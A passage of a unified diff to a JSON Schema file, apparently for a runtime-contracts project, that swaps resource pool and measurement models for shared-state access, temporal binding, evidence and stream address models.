"evidence_refs": { "items": { "minLength": 1, "type": "string" }, - "minItems": 1, "title": "Evidence Refs", "type": "array" }, - "execution_generation": { - "minimum": 0, - "title": "Execution Generation", - "type": "integer" + "read_digest": { + "anyOf": [ + { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Read Digest" }, - "measured": { - "maximum": 1000000000000000000, - "minimum": 0, - "title": "Measured", - "type": "integer" + "read_revision": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Read Revision" }, - "meter_profile_ref": { - "minLength": 1, - "title": "Meter Profile Ref", - "type": "string" + "snapshot_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Snapshot Ref" }, - "operation_id": { + "state_address": { "minLength": 1, - "title": "Operation Id", + "title": "State Address", "type": "string" }, - "resource_kind": { + "write_digest": { "anyOf": [ { - "enum": [ - "action_rate", - "concurrent_actions", - "storage_growth", - "inference_tokens", - "image_generations", - "accelerator" - ], + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", "type": "string" }, { - "$ref": "#/$defs/DomainProfileCoordinateModel" + "type": "null" } ], - "title": "Resource Kind" + "default": null, + "title": "Write Digest" }, - "unit": { - "minLength": 1, - "title": "Unit", - "type": "string" + "write_revision": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Write Revision" } }, "required": [ - "budget_state_ref", - "operation_id", - "execution_generation", - "resource_kind", - "unit", - "meter_profile_ref", - "measured", - "evidence_refs" + "state_address", + "access_kind", + "access_purpose" ], - "title": "ParticipantResourceMeasurementModel", + "title": "ParticipantSharedStateAccessModel", "type": "object" }, - "ParticipantResourcePoolAllocationModel": { + "ParticipantSharedStateRecordModel": { "additionalProperties": false, + "anyOf": [ + { + "properties": { + "revision": { + "type": "string" + } + }, + "required": [ + "revision" + ] + }, + { + "properties": { + "digest": { + "type": "string" + } + }, + "required": [ + "digest" + ] + } + ], + "description": "RUN-307 versioned shared operational state-change report.", "properties": { - "borrowing": { + "accesses": { + "items": { + "$ref": "#/$defs/ParticipantSharedStateAccessModel" + }, + "title": "Accesses", + "type": "array" + }, + "actor_ref": { "minLength": 1, - "title": "Borrowing", + "title": "Actor Ref", "type": "string" }, - "budget_id": { + "authorization_scope": { "minLength": 1, - "title": "Budget Id", + "title": "Authorization Scope", "type": "string" }, - "budget_state_ref": { + "clock_authority": { "minLength": 1, - "title": "Budget State Ref", + "title": "Clock Authority", "type": "string" }, - "cumulative_use": { - "maximum": 1000000000000000000, - "minimum": 0, - "title": "Cumulative Use", - "type": "integer" + "confidence": { + "anyOf": [ + { + "maximum": 1, + "minimum": 0, + "type": "number" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Confidence" }, - "current_use": { - "maximum": 1000000000000000000, - "minimum": 0, - "title": "Current Use", - "type": "integer" + "conflict_policy": { + "enum": [ + "coordinate", + "serialize", + "reject", + "retry", + "withhold", + "merge", + "rollback", + "disclose_weak_guarantee", + "unsupported" + ], + "title": "Conflict Policy", + "type": "string" }, - "generation": { - "minimum": 0, - "title": "Generation", - "type": "integer" + "digest": { + "anyOf": [ + { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Digest" }, - "max_queue_ticks": { - "maximum": 1000000000, - "minimum": 0, - "title": "Max Queue Ticks", - "type": "integer" + "episode_id": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Episode Id" }, - "policy_address": { - "minLength": 1, - "title": "Policy Address", - "type": "string" + "event_classification": { + "anyOf": [ + { + "$ref": "#/$defs/EventClassificationModel" + }, + { + "type": "null" + } + ], + "default": null }, - "priority_class": { + "event_id": { "minLength": 1, - "title": "Priority Class", + "title": "Event Id", "type": "string" }, - "protected": { - "title": "Protected", - "type": "boolean" - }, - "reclaim": { + "event_type": { "minLength": 1, - "title": "Reclaim", + "title": "Event Type", "type": "string" }, - "reserved": { - "maximum": 1000000000000000000, - "minimum": 0, - "title": "Reserved", - "type": "integer" - }, - "starvation_bound_ticks": { - "maximum": 1000000000, - "minimum": 1, - "title": "Starvation Bound Ticks", - "type": "integer" + "evidence_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Evidence Refs", + "type": "array" }, - "weight": { - "maximum": 1000000, - "minimum": 1, - "title": "Weight", - "type": "integer" - } - }, - "required": [ - "budget_state_ref", - "policy_address", - "budget_id", - "generation", - "priority_class", - "weight", - "protected", - "borrowing", - "reclaim", - "max_queue_ticks", - "starvation_bound_ticks", - "reserved", - "current_use", - "cumulative_use" - ], - "title": "ParticipantResourcePoolAllocationModel", - "type": "object" - }, - "ParticipantResourcePoolStateModel": { - "additionalProperties": false, - "description": "Authoritative allocation ledger for one exact physical resource pool.", - "properties": { - "accounting_mode": { - "enum": [ - "windowed_counter", - "cumulative_counter", - "reservable_gauge", - "growth_counter", - "lease" - ], - "title": "Accounting Mode", + "extension_policy": { + "minLength": 1, + "title": "Extension Policy", "type": "string" }, - "allocations": { + "granular_markings": { "additionalProperties": { - "$ref": "#/$defs/ParticipantResourcePoolAllocationModel" + "items": { + "minLength": 1, + "type": "string" + }, + "type": "array" }, "propertyNames": { "minLength": 1 }, - "title": "Allocations", + "title": "Granular Markings", "type": "object" }, - "borrowing": { + "ingested_at": { + "format": "date-time", "minLength": 1, - "title": "Borrowing", + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "title": "Ingested At", "type": "string" }, - "capacity": { - "maximum": 1000000000000000000, - "minimum": 1, - "title": "Capacity", - "type": "integer" + "logical_order_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Logical Order Ref" }, - "fairness_policy": { - "minLength": 1, - "title": "Fairness Policy", - "type": "string" + "marking_definition_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Marking Definition Refs", + "type": "array" }, - "max_queue_ticks": { - "maximum": 1000000000, - "minimum": 0, - "title": "Max Queue Ticks", - "type": "integer" + "markings": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Markings", + "type": "array" }, - "meter_profile_ref": { + "object_marking_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Object Marking Refs", + "type": "array" + }, + "occurred_at": { + "format": "date-time", "minLength": 1, - "title": "Meter Profile Ref", + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "title": "Occurred At", "type": "string" }, - "owner_kind": { + "ordering_basis": { "enum": [ - "participant", - "deployment_tenant", - "shared_service", - "fleet" + "total_order", + "partial_order", + "simultaneous", + "serialized_backend_order", + "simulation_tick", + "control_plane_order", + "logical_clock", + "vector_clock", + "wall_clock_only", + "unknown", + "unsupported" + ], + "title": "Ordering Basis", + "type": "string" + }, + "participant_address": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } ], - "title": "Owner Kind", - "type": "string" + "default": null, + "title": "Participant Address" }, - "owner_ref": { - "minLength": 1, - "title": "Owner Ref", - "type": "string" + "predecessor_event_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Predecessor Event Refs", + "type": "array" }, - "pool_ref": { + "predecessor_revision_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Predecessor Revision Refs", + "type": "array" + }, + "producer_ref": { "minLength": 1, - "title": "Pool Ref", + "title": "Producer Ref", "type": "string" }, - "pool_state_ref": { + "provenance": { "minLength": 1, - "title": "Pool State Ref", + "title": "Provenance", "type": "string" }, - "priority_classes": { + "provenance_refs": { "items": { "minLength": 1, "type": "string" }, - "minItems": 1, - "title": "Priority Classes", + "title": "Provenance Refs", "type": "array" }, - "protected_capacity": { - "maximum": 1000000000000000000, - "minimum": 0, - "title": "Protected Capacity", - "type": "integer" + "raw_data_integrity": { + "anyOf": [ + { + "$ref": "#/$defs/RawDataIntegrityModel" + }, + { + "type": "null" + } + ], + "default": null }, - "reclaim": { + "recorded_at": { + "format": "date-time", "minLength": 1, - "title": "Reclaim", + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "title": "Recorded At", "type": "string" }, - "resource_kind": { + "redaction_policy_ref": { "anyOf": [ { - "enum": [ - "action_rate", - "concurrent_actions", - "storage_growth", - "inference_tokens", - "image_generations", - "accelerator" - ], + "minLength": 1, "type": "string" }, { - "$ref": "#/$defs/DomainProfileCoordinateModel" + "type": "null" } ], - "title": "Resource Kind" - }, - "starvation_bound_ticks": { - "maximum": 1000000000, - "minimum": 1, - "title": "Starvation Bound Ticks", - "type": "integer" - }, - "unit": { - "minLength": 1, - "title": "Unit", - "type": "string" - } - }, - "required": [ - "pool_state_ref", - "pool_ref", - "owner_kind", - "owner_ref", - "resource_kind", - "unit", - "accounting_mode", - "meter_profile_ref", - "capacity", - "protected_capacity", - "fairness_policy", - "priority_classes", - "borrowing", - "reclaim", - "max_queue_ticks", - "starvation_bound_ticks" - ], - "title": "ParticipantResourcePoolStateModel", - "type": "object" - }, - "ParticipantRuntimeLifecyclePhase": { - "description": "RUN-306 observable participant runtime lifecycle phases.", - "enum": [ - "intent_or_proposal", - "selection_or_admission", - "execution_attempt", - "observation_emission", - "state_update_commit" - ], - "title": "ParticipantRuntimeLifecyclePhase", - "type": "string" - }, - "ParticipantSharedStateAccessModel": { - "additionalProperties": false, - "allOf": [ - { - "if": { - "properties": { - "access_kind": { - "enum": [ - "read", - "read_write" - ] - } - }, - "required": [ - "access_kind" - ] - }, - "then": { - "anyOf": [ - { - "properties": { - "read_revision": { - "type": "string" - } - }, - "required": [ - "read_revision" - ] - }, - { - "properties": { - "read_digest": { - "type": "string" - } - }, - "required": [ - "read_digest" - ] - } - ] - } + "default": null, + "title": "Redaction Policy Ref" }, - { - "if": { - "properties": { - "access_kind": { - "enum": [ - "write", - "read_write" - ] - } + "revision": { + "anyOf": [ + { + "minLength": 1, + "type": "string" }, - "required": [ - "access_kind" - ] - }, - "then": { - "anyOf": [ - { - "properties": { - "write_revision": { - "type": "string" - } - }, - "required": [ - "write_revision" - ] - }, - { - "properties": { - "write_digest": { - "type": "string" - } - }, - "required": [ - "write_digest" - ] - } - ] - } - } - ], - "description": "RUN-307 read/write access record over one shared-state address.", - "properties": { - "access_kind": { - "enum": [ - "read", - "write", - "read_write" + { + "type": "null" + } ], - "title": "Access Kind", + "default": null, + "title": "Revision" + }, + "schema_name": { + "minLength": 1, + "title": "Schema Name", "type": "string" }, - "access_purpose": { + "schema_version": { "minLength": 1, - "title": "Access Purpose", + "title": "Schema Version", "type": "string" }, - "atomic_group_ref": { + "sequence_number": { "anyOf": [ { - "minLength": 1, - "type": "string" + "minimum": 0, + "type": "integer" }, { "type": "null" } ], "default": null, - "title": "Atomic Group Ref" - }, - "evidence_refs": { - "items": { - "minLength": 1, - "type": "string" - }, - "title": "Evidence Refs", - "type": "array" + "title": "Sequence Number" }, - "read_digest": { + "source_pipeline": { "anyOf": [ { - "minLength": 1, - "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", - "type": "string" + "$ref": "#/$defs/SourcePipelineModel" }, { "type": "null" } ], - "default": null, - "title": "Read Digest" + "default": null }, - "read_revision": { + "source_raw_ref": { "anyOf": [ { "minLength": 1, @@ -9059,9 +11016,9 @@ } ], "default": null, - "title": "Read Revision" + "title": "Source Raw Ref" }, - "snapshot_ref": { + "source_record_ref": { "anyOf": [ { "minLength": 1, @@ -9072,28 +11029,20 @@ } ], "default": null, - "title": "Snapshot Ref" - }, - "state_address": { - "minLength": 1, - "title": "State Address", - "type": "string" + "title": "Source Record Ref" }, - "write_digest": { + "source_status": { "anyOf": [ { - "minLength": 1, - "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", - "type": "string" + "$ref": "#/$defs/SourceStatusModel" }, { "type": "null" } ], - "default": null, - "title": "Write Digest" + "default": null }, - "write_revision": { + "source_system_ref": { "anyOf": [ { "minLength": 1, @@ -9104,99 +11053,40 @@ } ], "default": null, - "title": "Write Revision" - } - }, - "required": [ - "state_address", - "access_kind", - "access_purpose" - ], - "title": "ParticipantSharedStateAccessModel", - "type": "object" - }, - "ParticipantSharedStateRecordModel": { - "additionalProperties": false, - "anyOf": [ - { - "properties": { - "revision": { - "type": "string" - } - }, - "required": [ - "revision" - ] - }, - { - "properties": { - "digest": { - "type": "string" - } - }, - "required": [ - "digest" - ] - } - ], - "description": "RUN-307 versioned shared operational state-change report.", - "properties": { - "accesses": { - "items": { - "$ref": "#/$defs/ParticipantSharedStateAccessModel" - }, - "title": "Accesses", - "type": "array" + "title": "Source System Ref" }, - "actor_ref": { + "state_address": { "minLength": 1, - "title": "Actor Ref", + "title": "State Address", "type": "string" }, - "authorization_scope": { + "state_kind": { "minLength": 1, - "title": "Authorization Scope", + "title": "State Kind", "type": "string" }, - "clock_authority": { + "state_scope": { "minLength": 1, - "title": "Clock Authority", + "title": "State Scope", "type": "string" }, - "confidence": { + "temporal_context": { "anyOf": [ { - "maximum": 1, - "minimum": 0, - "type": "number" + "minLength": 1, + "type": "string" }, { "type": "null" } ], "default": null, - "title": "Confidence" - }, - "conflict_policy": { - "enum": [ - "coordinate", - "serialize", - "reject", - "retry", - "withhold", - "merge", - "rollback", - "disclose_weak_guarantee", - "unsupported" - ], - "title": "Conflict Policy", - "type": "string" + "title": "Temporal Context" }, - "digest": { + "value_ref": { "anyOf": [ { "minLength": 1, - "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", "type": "string" }, { @@ -9204,9 +11094,9 @@ } ], "default": null, - "title": "Digest" + "title": "Value Ref" }, - "episode_id": { + "visibility_projection_basis": { "anyOf": [ { "minLength": 1, @@ -9217,125 +11107,200 @@ } ], "default": null, - "title": "Episode Id" - }, - "event_classification": { - "anyOf": [ - { - "$ref": "#/$defs/EventClassificationModel" - }, - { - "type": "null" - } - ], - "default": null - }, - "event_id": { + "title": "Visibility Projection Basis" + } + }, + "required": [ + "event_id", + "schema_name", + "schema_version", + "event_type", + "extension_policy", + "occurred_at", + "recorded_at", + "ingested_at", + "clock_authority", + "ordering_basis", + "actor_ref", + "producer_ref", + "authorization_scope", + "state_address", + "state_scope", + "state_kind", + "conflict_policy", + "provenance" + ], + "title": "ParticipantSharedStateRecordModel", + "type": "object" + }, + "ParticipantStreamAddressModel": { + "additionalProperties": false, + "description": "Closed within-run address for one participant-policy draw.", + "properties": { + "draw_purpose": { + "maxLength": 64, "minLength": 1, - "title": "Event Id", + "not": { + "pattern": "[^a-z0-9_-]" + }, + "pattern": "^[a-z0-9]", + "title": "Draw Purpose", "type": "string" }, - "event_type": { + "local_coordinate": { + "minimum": 0, + "title": "Local Coordinate", + "type": "integer" + }, + "namespace": { + "maxLength": 64, "minLength": 1, - "title": "Event Type", + "not": { + "pattern": "[^a-z0-9_-]" + }, + "pattern": "^[a-z0-9]", + "title": "Namespace", "type": "string" }, - "evidence_refs": { - "items": { - "minLength": 1, - "type": "string" - }, - "title": "Evidence Refs", - "type": "array" + "occurrence_ordinal": { + "minimum": 0, + "title": "Occurrence Ordinal", + "type": "integer" }, - "extension_policy": { + "participant_address": { "minLength": 1, - "title": "Extension Policy", + "title": "Participant Address", "type": "string" }, - "granular_markings": { - "additionalProperties": { - "items": { - "minLength": 1, - "type": "string" - }, - "type": "array" - }, - "propertyNames": { - "minLength": 1 - }, - "title": "Granular Markings", - "type": "object" - }, - "ingested_at": { - "format": "date-time", + "policy_address": { "minLength": 1, - "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", - "title": "Ingested At", + "title": "Policy Address", "type": "string" }, - "logical_order_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, + "time_segment": { + "minimum": 0, + "title": "Time Segment", + "type": "integer" + } + }, + "required": [ + "namespace", + "policy_address", + "participant_address", + "time_segment", + "occurrence_ordinal", + "draw_purpose", + "local_coordinate" + ], + "title": "ParticipantStreamAddressModel", + "type": "object", + "x-raes-invariants": [ + { + "description": "draw_purpose must be governed and policy_address/participant_address must be compiled autonomous participant addresses.", + "id": "participant-random-stream-address-governed", + "inputs": [ { - "type": "null" + "contract_id": "controlled-vocabularies-v1", + "instance_path": "#" } ], - "default": null, - "title": "Logical Order Ref" + "level": "error", + "validator": "raes_contracts.contracts.random_stream.ParticipantStreamAddressModel._validate_address" + } + ] + }, + "ParticipantTemporalAssessmentModel": { + "additionalProperties": false, + "description": "Portable guarantee result, independent of the native action outcome.", + "properties": { + "context": { + "$ref": "#/$defs/ParticipantTemporalExecutionContextModel" + }, + "evaluation_sequence": { + "minimum": 0, + "title": "Evaluation Sequence", + "type": "integer" }, - "marking_definition_refs": { + "evidence": { + "default": [], "items": { - "minLength": 1, - "type": "string" + "$ref": "#/$defs/ParticipantTemporalEvidenceModel" }, - "title": "Marking Definition Refs", + "title": "Evidence", "type": "array" }, - "markings": { - "items": { - "minLength": 1, - "type": "string" + "native_execution": { + "enum": [ + "not_dispatched", + "reported" + ], + "title": "Native Execution", + "type": "string" + }, + "reason": { + "minLength": 1, + "title": "Reason", + "type": "string" + }, + "status": { + "enum": [ + "met", + "missed", + "indeterminate" + ], + "title": "Status", + "type": "string" + } + }, + "required": [ + "context", + "status", + "native_execution", + "evaluation_sequence", + "reason" + ], + "title": "ParticipantTemporalAssessmentModel", + "type": "object" + }, + "ParticipantTemporalBindingModel": { + "additionalProperties": false, + "description": "One action-local guarantee and its resolved shared-clock constraint.", + "properties": { + "action_contract_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" }, - "title": "Markings", - "type": "array" + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Action Contract Address", + "type": "string" }, - "object_marking_refs": { + "backend_disclosure_refs": { + "default": [], "items": { "minLength": 1, "type": "string" }, - "title": "Object Marking Refs", + "title": "Backend Disclosure Refs", "type": "array" }, - "occurred_at": { - "format": "date-time", - "minLength": 1, - "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", - "title": "Occurred At", + "clock_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Clock Address", "type": "string" }, - "ordering_basis": { - "enum": [ - "total_order", - "partial_order", - "simultaneous", - "serialized_backend_order", - "simulation_tick", - "control_plane_order", - "logical_clock", - "vector_clock", - "wall_clock_only", - "unknown", - "unsupported" - ], - "title": "Ordering Basis", + "clock_authority": { + "minLength": 1, + "title": "Clock Authority", "type": "string" }, - "participant_address": { + "condition_precondition_id": { "anyOf": [ { "minLength": 1, @@ -9346,64 +11311,63 @@ } ], "default": null, - "title": "Participant Address" + "title": "Condition Precondition Id" }, - "predecessor_event_refs": { - "items": { - "minLength": 1, - "type": "string" - }, - "title": "Predecessor Event Refs", - "type": "array" - }, - "predecessor_revision_refs": { - "items": { - "minLength": 1, - "type": "string" + "constraint_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" }, - "title": "Predecessor Revision Refs", - "type": "array" + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Constraint Address", + "type": "string" }, - "producer_ref": { + "contract_digest": { "minLength": 1, - "title": "Producer Ref", + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Contract Digest", "type": "string" }, - "provenance": { - "minLength": 1, - "title": "Provenance", + "end": { + "$ref": "#/$defs/TimeCoordinateModel" + }, + "event_point": { + "enum": [ + "start", + "end", + "observed", + "effective" + ], + "title": "Event Point", "type": "string" }, - "provenance_refs": { + "event_points": { "items": { "minLength": 1, "type": "string" }, - "title": "Provenance Refs", + "minItems": 1, + "title": "Event Points", "type": "array" }, - "raw_data_integrity": { - "anyOf": [ - { - "$ref": "#/$defs/RawDataIntegrityModel" - }, - { - "type": "null" - } + "evidence_mode": { + "enum": [ + "event", + "continuous" ], - "default": null - }, - "recorded_at": { - "format": "date-time", - "minLength": 1, - "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", - "title": "Recorded At", + "title": "Evidence Mode", "type": "string" }, - "redaction_policy_ref": { + "observation_boundary_address": { "anyOf": [ { - "minLength": 1, + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", "type": "string" }, { @@ -9411,48 +11375,28 @@ } ], "default": null, - "title": "Redaction Policy Ref" + "title": "Observation Boundary Address" }, - "revision": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Revision" + "profile": { + "const": "participant-shared-time/v1", + "default": "participant-shared-time/v1", + "title": "Profile", + "type": "string" }, - "schema_name": { + "replay_boundary": { "minLength": 1, - "title": "Schema Name", + "title": "Replay Boundary", "type": "string" }, - "schema_version": { + "reset_boundary": { "minLength": 1, - "title": "Schema Version", + "title": "Reset Boundary", "type": "string" }, - "sequence_number": { - "anyOf": [ - { - "minimum": 0, - "type": "integer" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Sequence Number" - }, - "source_pipeline": { + "start": { "anyOf": [ { - "$ref": "#/$defs/SourcePipelineModel" + "$ref": "#/$defs/TimeCoordinateModel" }, { "type": "null" @@ -9460,44 +11404,89 @@ ], "default": null }, - "source_raw_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Source Raw Ref" + "temporal_id": { + "minLength": 1, + "title": "Temporal Id", + "type": "string" }, - "source_record_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } + "temporal_kind": { + "enum": [ + "deadline", + "dwell" ], - "default": null, - "title": "Source Record Ref" + "title": "Temporal Kind", + "type": "string" }, - "source_status": { - "anyOf": [ - { - "$ref": "#/$defs/SourceStatusModel" - }, - { - "type": "null" - } - ], - "default": null + "time_domain": { + "minLength": 1, + "title": "Time Domain", + "type": "string" + } + }, + "required": [ + "action_contract_address", + "temporal_id", + "temporal_kind", + "clock_address", + "constraint_address", + "event_point", + "evidence_mode", + "end", + "contract_digest", + "time_domain", + "clock_authority", + "event_points", + "reset_boundary", + "replay_boundary" + ], + "title": "ParticipantTemporalBindingModel", + "type": "object" + }, + "ParticipantTemporalCoverageModel": { + "additionalProperties": false, + "description": "An attested condition over a half-open interval, not two samples.", + "properties": { + "condition_holds": { + "title": "Condition Holds", + "type": "boolean" }, - "source_system_ref": { + "end": { + "$ref": "#/$defs/TimeCoordinateModel" + }, + "start": { + "$ref": "#/$defs/TimeCoordinateModel" + } + }, + "required": [ + "start", + "end", + "condition_holds" + ], + "title": "ParticipantTemporalCoverageModel", + "type": "object" + }, + "ParticipantTemporalEventPoint": { + "description": "Named participant event points used by temporal contracts.", + "enum": [ + "submit", + "start", + "end", + "observed", + "effective", + "deadline", + "window_open", + "window_close", + "reset", + "replay" + ], + "title": "ParticipantTemporalEventPoint", + "type": "string" + }, + "ParticipantTemporalEvidenceModel": { + "additionalProperties": false, + "description": "A backend's observation of the selected event on the bound shared clock.", + "properties": { + "condition_precondition_id": { "anyOf": [ { "minLength": 1, @@ -9508,40 +11497,40 @@ } ], "default": null, - "title": "Source System Ref" - }, - "state_address": { - "minLength": 1, - "title": "State Address", - "type": "string" - }, - "state_kind": { - "minLength": 1, - "title": "State Kind", - "type": "string" + "title": "Condition Precondition Id" }, - "state_scope": { - "minLength": 1, - "title": "State Scope", - "type": "string" + "context": { + "$ref": "#/$defs/ParticipantTemporalExecutionContextModel" }, - "temporal_context": { + "coordinate": { "anyOf": [ { - "minLength": 1, - "type": "string" + "$ref": "#/$defs/TimeCoordinateModel" }, { "type": "null" } ], - "default": null, - "title": "Temporal Context" + "default": null }, - "value_ref": { + "coverage": { + "default": [], + "items": { + "$ref": "#/$defs/ParticipantTemporalCoverageModel" + }, + "maxItems": 4096, + "title": "Coverage", + "type": "array" + }, + "event_point": { "anyOf": [ { - "minLength": 1, + "enum": [ + "start", + "end", + "observed", + "effective" + ], "type": "string" }, { @@ -9549,137 +11538,125 @@ } ], "default": null, - "title": "Value Ref" + "title": "Event Point" }, - "visibility_projection_basis": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } + "evidence_mode": { + "default": "event", + "enum": [ + "event", + "continuous", + "sampled" ], - "default": null, - "title": "Visibility Projection Basis" + "title": "Evidence Mode", + "type": "string" + }, + "evidence_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence Refs", + "type": "array" + }, + "observation_boundary_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Observation Boundary Address", + "type": "string" } }, "required": [ - "event_id", - "schema_name", - "schema_version", - "event_type", - "extension_policy", - "occurred_at", - "recorded_at", - "ingested_at", - "clock_authority", - "ordering_basis", - "actor_ref", - "producer_ref", - "authorization_scope", - "state_address", - "state_scope", - "state_kind", - "conflict_policy", - "provenance" + "context", + "observation_boundary_address", + "evidence_refs" ], - "title": "ParticipantSharedStateRecordModel", + "title": "ParticipantTemporalEvidenceModel", "type": "object" }, - "ParticipantStreamAddressModel": { + "ParticipantTemporalExecutionContextModel": { "additionalProperties": false, - "description": "Closed within-run address for one participant-policy draw.", + "description": "Runtime-owned identity of one bound guarantee evaluation.", "properties": { - "draw_purpose": { - "maxLength": 64, + "action_instance_id": { "minLength": 1, - "not": { - "pattern": "[^a-z0-9_-]" - }, - "pattern": "^[a-z0-9]", - "title": "Draw Purpose", + "title": "Action Instance Id", "type": "string" }, - "local_coordinate": { + "binding": { + "$ref": "#/$defs/ParticipantTemporalBindingModel" + }, + "bound_end": { + "$ref": "#/$defs/TimeCoordinateModel" + }, + "bound_start": { + "anyOf": [ + { + "$ref": "#/$defs/TimeCoordinateModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "clock_sequence": { "minimum": 0, - "title": "Local Coordinate", + "title": "Clock Sequence", "type": "integer" }, - "namespace": { - "maxLength": 64, + "episode_id": { "minLength": 1, - "not": { - "pattern": "[^a-z0-9_-]" - }, - "pattern": "^[a-z0-9]", - "title": "Namespace", + "title": "Episode Id", "type": "string" }, - "occurrence_ordinal": { + "execution_generation": { "minimum": 0, - "title": "Occurrence Ordinal", + "title": "Execution Generation", "type": "integer" }, - "participant_address": { - "minLength": 1, - "title": "Participant Address", + "execution_scope_ref": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Execution Scope Ref", "type": "string" }, - "policy_address": { - "minLength": 1, - "title": "Policy Address", + "participant_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Participant Address", "type": "string" }, - "time_segment": { - "minimum": 